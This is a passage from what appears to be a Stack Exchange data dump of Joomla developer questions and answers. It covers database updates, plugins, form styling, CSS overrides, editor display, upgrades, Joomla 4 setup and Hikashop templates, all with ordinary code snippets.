href=&quot;https://www.rsjoomla.com/blog/view/314-rsformpro-user-profile-community-builder-and-mappings.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.rsjoomla.com/blog/view/314-rsformpro-user-profile-community-builder-and-mappings.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it doesn't work. When I go to see the profile, I don't see the fields updated and there is no error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code that I added in php option &quot;Script called on form process&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;$user = JFactory::getUser();&#xA;$db-&amp;gt;setQuery(&quot;UPDATE njhggy_comprofiler SET cb_skills = '&quot;.$db-&amp;gt;escape($_POST['form']['skills']).&quot;' WHERE user_id = '&quot;.$db-&amp;gt;escape($user-&amp;gt;id).&quot;'&quot;);&#xA;$db-&amp;gt;query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what I am doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="13505" LastEditorUserId="12352" LastEditDate="2019-05-28T20:12:36.857" LastActivityDate="2019-06-27T21:01:10.470" Title="How to update Community Builder fields of user with RSFORM" Tags="|joomla-3.x|rsform|community-builder|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24527" PostTypeId="2" ParentId="24526" CreationDate="2019-04-25T21:27:12.687" Score="1" Body="&lt;p&gt;There may or may not be addition issues with your attempt, but I can tell at first glance that you are not executing your UPDATE query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase#Updating_a_Record&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase#Updating_a_Record&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;$user = JFactory::getUser();&#xA;$db-&amp;gt;setQuery(&quot;UPDATE #__comprofiler SET cb_skills = &quot; . $db-&amp;gt;q($_POST['form']['skills']) . &quot; WHERE user_id = &quot; . (int)$user-&amp;gt;id);&#xA;$db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or with an object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$object = (object)['user_id' =&amp;gt; JFactory::getUser()-&amp;gt;id, 'cb_skills' =&amp;gt; $_POST['form']['skills']];&#xA;JFactory::getDBO()-&amp;gt;updateObject('#__comprofiler', $object, 'user_id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-04-27T22:08:52.607" LastActivityDate="2019-04-27T22:08:52.607" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24528" PostTypeId="2" ParentId="24512" CreationDate="2019-04-26T06:22:15.947" Score="1" Body="&lt;p&gt;Only components that specifically provide a JSON response are accessible in the JSON format. Modules are not (by design) directly addressable hence you can not call them directly, therefore, no JSON format option. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could build a plugin to gain access to the data you wanted but that would be a 100% custom built option.&lt;/p&gt;&#xA;" OwnerUserId="11345" LastActivityDate="2019-04-26T06:22:15.947" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24529" PostTypeId="1" AcceptedAnswerId="24530" CreationDate="2019-04-26T06:35:59.077" Score="1" ViewCount="142" Body="&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working with a code variation from this &lt;a href=&quot;https://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial&lt;/a&gt; I'm trying to get the parent menu item instance object of a given item (currently editing) and it always returns null.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Prepare form and add my field.&#xA; *&#xA; * @param   JForm  $form  The form to be altered.&#xA; * @param   mixed  $data  The associated data for the form.&#xA; *&#xA; * @return  boolean&#xA; *&#xA; * @since   0.0.1&#xA; */&#xA;function onContentPrepareForm($form, $data)&#xA;{&#xA;    $app    = JFactory::getApplication();&#xA;    $menu   = $app-&amp;gt;getMenu();&#xA;    $pid    = $data-&amp;gt;parent_id;&#xA;    $parent = $menu-&amp;gt;getItem($pid);&#xA;    $items  = $menu-&amp;gt;getItems('menutype', $data-&amp;gt;menutype);&#xA;&#xA;    var_dump($data-&amp;gt;parent_id); &#xA;    // returns the parent_id string of the currently edited menu item&#xA;&#xA;    var_dump($parent); &#xA;    // returns null&#xA;&#xA;    var_dump($items); &#xA;    // returns null as well&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Questions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Should I change the order of the plugins so mine executes last or hopefully after everything is initialized?&lt;/li&gt;&#xA;&lt;li&gt;Should I use a different callback other than &lt;code&gt;onContentPrepareForm&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;li&gt;Should I include/require anything from Joomla? If so, what is it?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13509" LastActivityDate="2019-04-26T07:14:40.960" Title="Get parent menu item object in plugin" Tags="|joomla-3.x|menu-item|custom-field|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24530" PostTypeId="2" ParentId="24529" CreationDate="2019-04-26T07:14:40.960" Score="2" Body="&lt;p&gt;Since you are editing from administrator section, &lt;code&gt;$app-&amp;gt;getMenu()&lt;/code&gt; returns administrator menu items. Pass client argument if you need site items:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu = $app-&amp;gt;getMenu('site');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Should I change the order of the plugins so mine executes last or&#xA;  hopefully after everything is initialized?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Probably not. Just note that plugin order does decide the order in which the form is altered. E.g. you might need to tweak the order in case you have multiple plugins modifying the same field. Or if you have dependencies on other plugins.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Should I use a different callback other than onContentPrepareForm?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, if you want to modify a form, this is the event to use. But at the very least you should check that you are modifying the correct form (or multiple forms). &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentPrepareForm($form, $data)&#xA;{&#xA;    // Check that we are editing a menu item.&#xA;    if ($form-&amp;gt;getName() !== 'com_menus.item')&#xA;    {&#xA;        return true;&#xA;    }&#xA;&#xA;    // Do our stuff.&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-04-26T07:14:40.960" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24531" PostTypeId="1" CreationDate="2019-04-26T08:00:04.427" Score="0" ViewCount="335" Body="&lt;p&gt;I'm working on a custom Joomla module displaying a JForm with some radio buttons. I'm using the sample code described for Joomla 3+ styling with arbitrary values described &lt;a href=&quot;https://docs.joomla.org/Radio_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;PrevVisits&quot; type=&quot;radio&quot; default=&quot;0&quot; label=&quot;MOD_GNG_TOURPREF_PREV_VISITS&quot; description=&quot;&quot; class=&quot;btn-group&quot;&amp;gt;&#xA;                    &amp;lt;option value=&quot;Yes&quot;&amp;gt;MOD_GNG_TOURPREF_PREV_VISITS_YES&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;Some&quot;&amp;gt;MOD_GNG_TOURPREF_PREV_VISITS_SOME&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;No&quot;&amp;gt;MOD_GNG_TOURPREF_PREV_VISITS_NO&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My problem is that the radio buttons and for some reason not displayed at all, only the label: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7QmJX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7QmJX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to remove the class tag, and this way the radio buttons are displayed, but the buttons and corresponding label are not horizontally aligned, but underneath each other:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/becIu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/becIu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I modify my code to make sure the both the radio buttons and labels are displayed and the corresponding buttons and labels are horizontally aligned? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;W. &lt;/p&gt;&#xA;" OwnerUserId="12966" LastActivityDate="2019-04-26T20:47:02.630" Title="Jform radio button not displayed or not horizontally aligned with its label" Tags="|joomla-3.x|jform|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24533" PostTypeId="2" ParentId="24531" CreationDate="2019-04-26T13:26:20.927" Score="1" Body="&lt;p&gt;Ok I see the issue. If you inspect the element for both the checkbox and radio, you'll notice the checkbox input is inside the label, but the radio input is before the label.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Checkbox:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label for=&quot;main_Interests7&quot; class=&quot;checkbox&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; id=&quot;main_Interests7&quot; name=&quot;main[Interests][]&quot; value=&quot;language&quot;&amp;gt; Sprache&#xA;&amp;lt;/label&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Radio:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;radio&quot; id=&quot;main_PrevVisits0&quot; name=&quot;main[PrevVisits]&quot; value=&quot;Yes&quot;&amp;gt;&#xA;&amp;lt;label for=&quot;main_PrevVisits0&quot;&amp;gt;Ja&amp;lt;/label&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So due to &lt;code&gt;label&lt;/code&gt; having it's &lt;code&gt;display&lt;/code&gt; property set to &lt;code&gt;block&lt;/code&gt;, it will appear at 100% width on a separate line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The markup for these should be the same, so I believe it's a template override that may have changed the markup.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2019-04-26T13:26:20.927" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24534" PostTypeId="2" ParentId="24531" CreationDate="2019-04-26T20:47:02.630" Score="0" Body="&lt;p&gt;I agree with and recommend that you follow Lodder's advice that fixing the DOM is the most appropriate way to fix your issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a pure css workaround / hack / quick fix, you &lt;em&gt;could&lt;/em&gt; hardcode the label line height, make the radio buttons float left and vertically align the radio button with a top margin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tested these adjustments to be work as desired on a few different devices / browsers with differing zoom levels and it seems to hold up nicely. (then again, with so many differing browser and device behaviors, there's likely to be one that breaks the intended style).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.radio label {            /* or remove the .radio parent here for consistency */&#xA;    line-height: 22px;&#xA;}&#xA;.radio input[type=radio] {&#xA;    margin: 5px 3px 0 0;&#xA;    float: left;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I tested on &lt;a href=&quot;https://www.dev.gonativeguide.com/de/tour-preferences?tid=12&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dev.gonativeguide.com/de/tour-preferences?tid=12&lt;/a&gt; because 120 was no longer available.)&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-04-26T20:47:02.630" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24535" PostTypeId="1" AcceptedAnswerId="24541" CreationDate="2019-04-27T16:09:47.543" Score="0" ViewCount="173" Body="&lt;p&gt;I would like to use the tooltip function of Bootstrap 3 on my website (www.fischer-club.ch). I tried to override the &lt;code&gt;margin-top&lt;/code&gt; value in my custom.css to better place the tooltip:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.tooltip.top {&#xA;  margin-top: -40px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This doesn't work; the style from bootstrap.min.css remains.&lt;/p&gt;&#xA;" OwnerUserId="13471" LastEditorUserId="12352" LastEditDate="2019-04-27T22:33:38.173" LastActivityDate="2019-04-28T08:57:17.803" Title="How to override bootstrap css?" Tags="|css|overrides|bootstrap|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24536" PostTypeId="2" ParentId="23244" CreationDate="2019-04-27T16:26:49.803" Score="1" Body="&lt;p&gt;If you are not using JForm you can always do this with a bit of PHP code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$editor = JEditor::getInstance(JFactory::getConfig()-&amp;gt;get('editor'));&#xA;echo $editor-&amp;gt;display($name, $contents, $width, $height, $cols, $rows, $buttons, $id, $asset, $author, $params);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$name is the name of the editor field on your form. This will be they key used for the content in your form's POST.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$contents is the HTML contents of the editor, presumably fetched from the database. That's what the user is editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$width and $height are the width and height of the editor, formatted for inclusion in a CSS statement. So this could be something like '100%', '10em' or '100px'. Based on my experience, width best works as a percentage (of the field's container) whereas height is usually best set in pixels and no less than 400 of them. I usually test the layout with JCE, using a profile with all editor buttons shown since that's the most interface-heavy configuration I have come across.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$cols and $rows is the number of columns and rows in the textarea displayed if the browser does not support rich text editing or, simply, JavaScript is disabled. Remember that this is given in absolute number corresponding to number of characters and lines respectively. Something like 50 columns and 10 rows should be enough as a minimum (and it shouldn't matter if you're using some CSS to style the textarea anyway).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the end of the mandatory parameters. Everything beyond that is optional and rarely used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$buttons is a boolean, telling Joomla whether to render the buttons defined by editor-xtd plugins such as pagebreak, read more and so on. By default it's true. Depending on the editor they might be rendered in the editor's toolbar &lt;em&gt;or&lt;/em&gt; below the editor area. TinyMCE, Joomla's default editor, renders them in the toolbar. Most other editors render them below the editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$id is the HTML id attribute. Leave null to use the same value as $name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$asset is the asset ID of the content you are editing. If you are not using asset tracking for your content or don't know what it is pass null.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$author is the user's ID. In most cases you can pass null and let Joomla figure it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$params is an associative array of editor parameters. It only makes sense using it if you know what the editor is and have some special reason to pass parameters to it. In all practical cases I've run across I just skip the field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest caveat is that you need to filter the POSTed content in your Controller yourself. But since you're not explicitly asking about handling content I leave that up to you.&lt;/p&gt;&#xA;" OwnerUserId="7331" LastActivityDate="2019-04-27T16:26:49.803" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24537" PostTypeId="2" ParentId="22314" CreationDate="2019-04-27T16:39:19.527" Score="1" Body="&lt;p&gt;First check that you meet the minimum requirements, especially as far as the PHP version is concerned. Make sure you have at least PHP 5.3.10 (recommended: PHP 7.2.17). Oftentimes the reason you don't see an update is that your server simply does not meet the minimum requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are sure your server supports Joomla! 3.9.6, the actually latest release at the time of this writing and not 3.8.3 as you mistakenly said, first take a backup of your site. Then follow Method C &lt;a href=&quot;https://docs.joomla.org/J3.x:Upgrading_from_Joomla_3.4.x_to_3.5&quot; rel=&quot;nofollow noreferrer&quot;&gt;per the Joomla! documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I recall correctly, your Joomla version also includes the Upload &amp;amp; Update feature I contributed to the Joomla! Update component. If this is the case we can follow Method D, not mentioned in the documentation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Take a backup of your site. If things go wrong this is your only way to restore your site back to normal.&lt;/li&gt;&#xA;&lt;li&gt;Download the latest update package from 3.x (&lt;a href=&quot;https://github.com/joomla/joomla-cms/releases/download/3.9.6-rc/Joomla_3.9.6-rc-Release_Candidate-Update_Package.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;e.g Joomla! 3.x to 3.9.6&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Go to Components, Joomla! Update, Upload &amp;amp; Update&lt;/li&gt;&#xA;&lt;li&gt;Choose the ZIP file you just downloaded and click on Upload &amp;amp; Install&lt;/li&gt;&#xA;&lt;li&gt;It will ask you to re-enter your Super User credentials. Please do that, it's a security check.&lt;/li&gt;&#xA;&lt;li&gt;Joomla! Update will now use the ZIP file to update your site to the latest version.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7331" LastActivityDate="2019-04-27T16:39:19.527" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24538" PostTypeId="2" ParentId="24504" CreationDate="2019-04-27T17:10:06.057" Score="3" Body="&lt;p&gt;The currently accepted solution is overcomplicated and bound to cause problems. Don't mess with fundamentals, like the URL and PHP superglobals when all you want to do is modify Joomla's routing results. That's what the onAfterRoute event is for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a system plugin. Create a public function onAfterRoute. In there, get $input = JFactory::getApplication()-&gt;input. It is populated with the parsed request. If option and view and whatnot matches your criteria you can change it with $input-&gt;set('option', 'com_alternate') etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This solution also works with SEF URLs since it runs after Joomla has parsed the SEF URL. It does not mess with the displayed URL. It only changes how Joomla &lt;em&gt;understands&lt;/em&gt; the URL, i.e. the routing.&lt;/p&gt;&#xA;" OwnerUserId="7331" LastActivityDate="2019-04-27T17:10:06.057" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24539" PostTypeId="1" AcceptedAnswerId="24546" CreationDate="2019-04-27T18:27:59.037" Score="1" ViewCount="52" Body="&lt;p&gt;What does &lt;code&gt;getApplication&lt;/code&gt; mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand instance of class like &lt;code&gt;Input&lt;/code&gt;, &lt;code&gt;Registry&lt;/code&gt;, and &lt;code&gt;String&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about &lt;code&gt;Application&lt;/code&gt;? What does it include? Why do we need this class?&lt;/p&gt;&#xA;" OwnerUserId="13462" LastEditorUserId="12352" LastEditDate="2019-04-27T22:31:37.070" LastActivityDate="2019-04-29T21:51:02.673" Title="What does getApplication mean in Joomla?" Tags="|joomla-3.x|cms|design-patterns|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24540" PostTypeId="1" AcceptedAnswerId="24543" CreationDate="2019-04-28T07:23:45.603" Score="0" ViewCount="356" Body="&lt;p&gt;I want to show the category name of a product, inside the category product listing div (category name inside each product div).&#xA;I use this code to show manufacturer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$db = JFactory::getDBO();&#xA;$db-&amp;gt;setQuery('SELECT category_name FROM '.hikashop_table('category').'&#xA;WHERE category_id='.(int)$this-&amp;gt;row-&amp;gt;product_manufacturer_id);&#xA;$brandName = $db-&amp;gt;loadResult();&#xA;?&amp;gt;&#xA;&amp;lt;?php&#xA;if (!empty($brandName)) {&#xA;echo JText::_('MANUFACTURER').': '. $brandName;&#xA;} else { echo &quot; &quot;;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help?&#xA;Thank you&lt;/p&gt;&#xA;" OwnerUserId="2199" LastActivityDate="2019-05-02T08:28:59.537" Title="Hikashop: Category Name in products listing div" Tags="|joomla-3.x|php7|hikashop|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24541" PostTypeId="2" ParentId="24535" CreationDate="2019-04-28T08:57:17.803" Score="1" Body="&lt;p&gt;Your code is fine but you have an error in &lt;code&gt;custom.css&lt;/code&gt; file right before. &lt;code&gt;.btn-anmeldung&lt;/code&gt; rule is missing a closing bracket:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Bouton Anmeldung sur la Homepage */&#xA;.btn-anmeldung {&#xA;  background-color:#777777;&#xA;  border-color:#555555;&#xA;  color:#FFFFFF;&#xA;&#xA;/* Augmenter l'espace du tooltip de bootstrap */&#xA;.tooltip.top {&#xA;  margin-top: -40px;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add it and it works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Bouton Anmeldung sur la Homepage */&#xA;.btn-anmeldung {&#xA;  background-color:#777777;&#xA;  border-color:#555555;&#xA;  color:#FFFFFF;&#xA; }&#xA;&#xA;/* Augmenter l'espace du tooltip de bootstrap */&#xA;.tooltip.top {&#xA;  margin-top: -40px;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-04-28T08:57:17.803" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24542" PostTypeId="1" AcceptedAnswerId="24544" CreationDate="2019-04-28T17:43:34.093" Score="1" ViewCount="682" Body="&lt;p&gt;I'm trying to do a pull request for Joomla! 4.&lt;/p&gt;&#xA;&lt;p&gt;I've downloaded the repro and changed branch but now I need a working copy of J4 so I can test my code.&lt;/p&gt;&#xA;&lt;p&gt;I try to install it the usual way but it the following message appears:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Environment Setup Incomplete&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;It looks like you are trying to run&#xA;Joomla! from our git repository. To do so requires you complete a&#xA;couple of extra steps first.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I've completed the actions on this page: &lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/J4.x:Setting_Up_Your_Local_Environment&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Special:MyLanguage/J4.x:Setting_Up_Your_Local_Environment&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I believe the problem relates to &lt;strong&gt;node.js&lt;/strong&gt;.  But I can't prove it.  I did see an error previously but it no longer shows.  &lt;strong&gt;npm ci&lt;/strong&gt; seems to work fine.  &lt;strong&gt;Composer&lt;/strong&gt; seems to work fine too.&lt;/p&gt;&#xA;&lt;p&gt;Can anyone help me to troubleshoot what is going on?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2021-02-12T18:14:24.980" Title="How to set up Joomla! 4 properly" Tags="|installation|git|joomla-4.x|github|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24543" PostTypeId="2" ParentId="24540" CreationDate="2019-04-29T03:29:35.833" Score="1" Body="&lt;p&gt;This code will display the brand name of each product on the listing.&#xA;For the category name, you would need to do something like that instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$db = JFactory::getDBO();&#xA;$db-&amp;gt;setQuery('SELECT category_name&#xA;               FROM ' . hikashop_table('category') . ' AS c&#xA;               LEFT JOIN ' . hikashop_table('product_category') . ' AS pc&#xA;                   ON c.category_id = pc.category_id&#xA;               WHERE pc.product_id = ' . (int)$this-&amp;gt;row-&amp;gt;product_id);&#xA;$categoryName = $db-&amp;gt;loadResult();&#xA;echo $categoryName;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get a link around the category name, you would do instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$db = JFactory::getDBO();&#xA;$db-&amp;gt;setQuery('SELECT category_name&#xA;               FROM ' . hikashop_table('category') . ' AS c&#xA;               LEFT JOIN ' . hikashop_table('product_category') . ' AS pc&#xA;                   ON c.category_id = pc.category_id&#xA;               WHERE pc.product_id = ' . (int)$this-&amp;gt;row-&amp;gt;product_id);&#xA;$category = $db-&amp;gt;loadObject();&#xA;$class = hikashop_get('class.category');&#xA;$class-&amp;gt;addAlias($category);&#xA;echo '&amp;lt;a href=&quot;'.hikashop_contentLink('category&amp;amp;task=listing&amp;amp;cid='.$category-&amp;gt;category_id.'&amp;amp;name='.$category-&amp;gt;alias,$category).'&quot;&amp;gt;'.($category-&amp;gt;category_name).'&amp;lt;/a&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13516" LastEditorUserId="13516" LastEditDate="2019-05-02T08:28:59.537" LastActivityDate="2019-05-02T08:28:59.537" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24544" PostTypeId="2" ParentId="24542" CreationDate="2019-04-29T06:36:58.757" Score="1" Body="&lt;p&gt;You will need to download and install &lt;a href=&quot;https://getcomposer.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Composer&lt;/a&gt; first.&lt;/p&gt;&#xA;&lt;p&gt;Once done, open your terminal, navigate to the root of your Joomla installtion, and type in the following command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;composer install&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You'll then need to install &lt;a href=&quot;https://nodejs.org/en/&quot; rel=&quot;nofollow noreferrer&quot;&gt;NodeJS&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Once installed, in the same terminal, run the following command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;npm i&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;These commands will fetch all the Joomla PHP dependencies, Javascript dependencies, compile all ES6 Javascript and put the files in their appropriate locations&lt;/p&gt;&#xA;&lt;p&gt;You should then be able to install Joomla&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2021-02-12T18:14:24.980" LastActivityDate="2021-02-12T18:14:24.980" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="24545" PostTypeId="2" ParentId="24540" CreationDate="2019-04-29T08:39:53.227" Score="0" Body="&lt;p&gt;As far as I can tell, you don't need to query the database. Category information is available through &lt;code&gt;categories&lt;/code&gt; property.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get category names.&#xA;$categories = array_column($this-&amp;gt;row-&amp;gt;categories, 'category_name');&#xA;echo implode(', ', $categories);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-04-29T08:39:53.227" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24546" PostTypeId="2" ParentId="24539" CreationDate="2019-04-29T21:51:02.673" Score="1" Body="&lt;p&gt;According to the Joomla API reference manual getApplication returns the global CMSApplication object, only creating it if it doesn't already exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine getApplication calls the guts behind Joomla to be used in all of your other site methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;&#xA;//SAY YOU WANT TO SET A USER STATE VALUE&#xA;$app-&amp;gt;setUserState('option.mystate','1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;getApplication references all of the other needed functionality for Joomla that allows you to access the core methods of the CMS, in this instance setUserState.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Factory.html#method_getApplication&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla API Reference for getApplication&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2019-04-29T21:51:02.673" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
